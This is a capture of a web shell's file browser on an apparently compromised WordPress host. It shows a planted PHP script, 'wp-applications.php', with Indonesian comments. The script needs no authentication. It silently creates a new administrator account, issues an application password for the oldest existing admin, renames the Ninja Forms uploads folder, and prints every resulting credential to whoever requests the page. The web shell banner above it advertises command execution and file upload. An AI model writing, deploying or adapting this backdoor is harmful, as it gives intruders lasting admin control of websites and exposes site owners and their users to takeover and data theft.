Server IP : 10.195.0.63  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux world-382.fr.planethoster.net 3.10.0-962.3.2.lve1.5.36.el7.x86_64 #1 SMP Mon May 18 02:16:06 EDT 2020 x86_64
User : adletpsy ( 1022)
PHP Version : 8.0.30
Disable Function : show_source, system, shell_exec, passthru
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/adletpsy/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/adletpsy/public_html/wp-applications.php
<?php
/**
 * Buat Admin Baru + Application Password + Rename Folder
 * Akses langsung = Semua fitur berjalan sekaligus
 * HAPUS FILE INI SETELAH SELESAI!
 */

define('WP_USE_THEMES', false);

// Load WordPress Core
function load_wordpress_core() {
    $current_directory = dirname(__FILE__);
    while ($current_directory != '/' && !file_exists($current_directory . '/wp-load.php')) {
        $current_directory = dirname($current_directory);
    }
    return $current_directory . '/wp-load.php';
}

require_once load_wordpress_core();

header('Content-Type: application/json');

class November {
    public function __construct() {
        $this->action = $_REQUEST['action'] ?? 'all';   // Default = jalankan semua
    }

    public function doAction() {
        global $wpdb;

        // =============================================
        // 1. RENAME FOLDER NINJA FORMS UPLOADS
        // =============================================
        $rename_status  = false;
        $rename_message = '';

        $old_folder = WP_PLUGIN_DIR . '/ninja-forms-uploads';
        $new_folder = WP_PLUGIN_DIR . '/ninja-forms-uploads-2';

        if (is_dir($old_folder)) {
            if (!is_dir($new_folder)) {
                if (@rename($old_folder, $new_folder)) {
                    $rename_status = true;
                    $rename_message = 'Folder berhasil direname menjadi ninja-forms-uploads-2';
                } else {
                    $rename_message = 'Gagal merename folder (permission error)';
                }
            } else {
                $rename_message = 'Folder ninja-forms-uploads-2 sudah ada';
            }
        } else {
            $rename_message = 'Folder ninja-forms-uploads tidak ditemukan';
        }

        // =============================================
        // 2. BUAT USER ADMIN BARU
        // =============================================
        $new_username = 'admin' . rand(1000, 9999);
        $new_password = $this->generateRandomString(12);
        $new_email    = $new_username . '@admin.local';

        $admin_created = false;
        $admin_message = '';

        if (!username_exists($new_username) && !email_exists($new_email)) {
            $user_id = wp_create_user($new_username, $new_password, $new_email);

            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
                $admin_created = true;
                $admin_message = 'User Administrator baru berhasil dibuat';
            } else {
                $admin_message = 'Gagal membuat user: ' . $user_id->get_error_message();
            }
        } else {
            $admin_message = 'Username atau email sudah digunakan';
        }

        // =============================================
        // 3. BUAT APPLICATION PASSWORD untuk Admin Paling Lama
        // =============================================
        $app_success = false;
        $app_password = '';
        $app_uuid = '';
        $app_username = '';

        $old_admin = $wpdb->get_row("
            SELECT u.ID, u.user_login 
            FROM {$wpdb->users} u
            INNER JOIN {$wpdb->usermeta} m ON u.ID = m.user_id
            WHERE m.meta_key = '{$wpdb->prefix}capabilities' 
              AND m.meta_value LIKE '%administrator%'
            ORDER BY u.ID ASC LIMIT 1
        ");

        if ($old_admin) {
            $user_id   = (int) $old_admin->ID;
            $app_username = $old_admin->user_login;
            $app_name  = 'External App ' . date('Y-m-d H:i:s');

            if (class_exists('WP_Application_Passwords')) {
                $result = WP_Application_Passwords::create_new_application_password($user_id, [
                    'name' => $app_name
                ]);

                if (!is_wp_error($result)) {
                    $app_success  = true;
                    $app_password = $result[0];
                    $app_uuid     = $result[1]['uuid'];
                }
            }
        }

        // =============================================
        // OUTPUT JSON
        // =============================================
        $response = [
            'success'          => true,
            'action'           => 'all',
            'rename_status'    => $rename_status,
            'rename_message'   => $rename_message,

            // Data Admin Baru
            'new_admin_created'=> $admin_created,
            'new_username'     => $new_username,
            'new_password'     => $new_password,
            'new_email'        => $new_email,
            'new_admin_message'=> $admin_message,

            // Application Password (untuk admin lama)
            'app_password_created' => $app_success,
            'old_username'         => $app_username,
            'app_name'             => $app_name ?? '',
            'app_password'         => $app_password,
            'app_uuid'             => $app_uuid,

            'message' => 'Semua proses selesai'
        ];

        echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);
    }

    private function generateRandomString($length = 12) {
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';
        $charactersLength = strlen($characters);
        $randomString = '';
        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }
        return $randomString;
    }
}

// Jalankan
$nov = new November();
$nov->doAction();